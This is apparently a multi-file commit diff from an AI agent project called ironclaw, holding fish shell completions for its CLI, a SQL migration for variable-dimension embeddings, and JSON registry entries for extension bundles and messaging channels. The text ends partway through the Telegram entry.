complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s d -l depth -d 'Maximum depth to traverse' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l json -d 'Output as JSON'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l shell -d 'The shell to generate completions for' -r -f -a "bash\t''
zsh\t''
fish\t''
powershell\t''
elvish\t''"
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l job-id -d 'Job ID to execute' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l max-iterations -d 'Maximum iterations before stopping' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l job-id -d 'Job ID to execute' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l max-turns -d 'Maximum agentic turns for Claude Code' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l model -d 'Claude model to use (e.g. "sonnet", "opus")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "run" -d 'Run the agent (default if no subcommand given)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "onboard" -d 'Interactive onboarding wizard'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "config" -d 'Manage configuration settings'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "tool" -d 'Manage WASM tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "memory" -d 'Query and manage workspace memory'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "service" -d 'Manage OS service (launchd / systemd)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "status" -d 'Show system health and diagnostics'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "completion" -d 'Generate shell completion scripts'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.4 MiB

After

Width:  |  Height:  |  Size: 267 KiB

+2285
View File
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,43 @@
-- Allow embedding vectors of any dimension (not just 1536).
-- This supports Ollama models (768-dim nomic-embed-text, 1024-dim mxbai-embed-large)
-- alongside OpenAI models (1536-dim text-embedding-3-small, 3072-dim text-embedding-3-large).
--
-- NOTE: HNSW indexes require a fixed dimension, so we drop the index.
-- Exact (sequential) cosine distance search still works without the index.
-- For a personal assistant workspace the dataset is small enough that this
-- has negligible impact on query latency.
-- Drop dependent views first
DROP VIEW IF EXISTS chunks_pending_embedding;
DROP VIEW IF EXISTS memory_documents_summary;
DROP INDEX IF EXISTS idx_memory_chunks_embedding;
ALTER TABLE memory_chunks
ALTER COLUMN embedding TYPE vector
USING embedding::vector;
-- Recreate the views
CREATE VIEW memory_documents_summary AS
SELECT
d.id,
d.user_id,
d.path,
d.created_at,
d.updated_at,
COUNT(c.id) as chunk_count,
COUNT(c.embedding) as embedded_chunk_count
FROM memory_documents d
LEFT JOIN memory_chunks c ON c.document_id = d.id
GROUP BY d.id;
CREATE VIEW chunks_pending_embedding AS
SELECT
c.id as chunk_id,
c.document_id,
d.user_id,
d.path,
LENGTH(c.content) as content_length
FROM memory_chunks c
JOIN memory_documents d ON d.id = c.document_id
WHERE c.embedding IS NULL;
+42
View File
@@ -0,0 +1,42 @@
{
"bundles": {
"google": {
"display_name": "Google Suite",
"description": "Gmail, Calendar, Drive, Docs, Sheets, Slides",
"extensions": [
"tools/gmail",
"tools/google-calendar",
"tools/google-docs",
"tools/google-drive",
"tools/google-sheets",
"tools/google-slides"
],
"shared_auth": "google_oauth_token"
},
"messaging": {
"display_name": "Messaging Channels",
"description": "Discord, Telegram, Slack, and WhatsApp channels",
"extensions": [
"channels/discord",
"channels/telegram",
"channels/slack",
"channels/whatsapp"
],
"shared_auth": null
},
"default": {
"display_name": "Recommended Set",
"description": "Core tools and channels for a productive setup",
"extensions": [
"tools/github",
"tools/gmail",
"tools/google-calendar",
"tools/google-drive",
"tools/slack-tool",
"channels/telegram",
"channels/slack"
],
"shared_auth": null
}
}
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "discord",
"display_name": "Discord Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent in Discord",
"keywords": ["messaging", "chat", "discord", "bot"],
"source": {
"dir": "channels-src/discord",
"capabilities": "discord.capabilities.json",
"crate_name": "discord-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/discord-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "Discord",
"secrets": ["discord_bot_token"],
"shared_auth": null,
"setup_url": "https://discord.com/developers/applications"
},
"tags": ["messaging"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "slack",
"display_name": "Slack Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent in Slack",
"keywords": ["messaging", "chat", "workspace", "slack"],
"source": {
"dir": "channels-src/slack",
"capabilities": "slack.capabilities.json",
"crate_name": "slack-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "Slack",
"secrets": ["slack_bot_token", "slack_signing_secret"],
"shared_auth": null,
"setup_url": "https://api.slack.com/apps"
},
"tags": ["default", "messaging"]
}
+31
View File
@@ -0,0 +1,31 @@
{
"name": "telegram",
"display_name": "Telegram Channel",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent through a Telegram bot",
"keywords": ["messaging", "bot", "chat", "telegram"],
"source": {
"dir": "channels-src/telegram",
"capabilities": "telegram.capabilities.json",
"crate_name": "telegram-channel"
},
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
"sha256": null
}
},
"auth_summary": {
"method": "manual",
"provider": "Telegram",
"secrets": ["telegram_bot_token"],
"shared_auth": null,
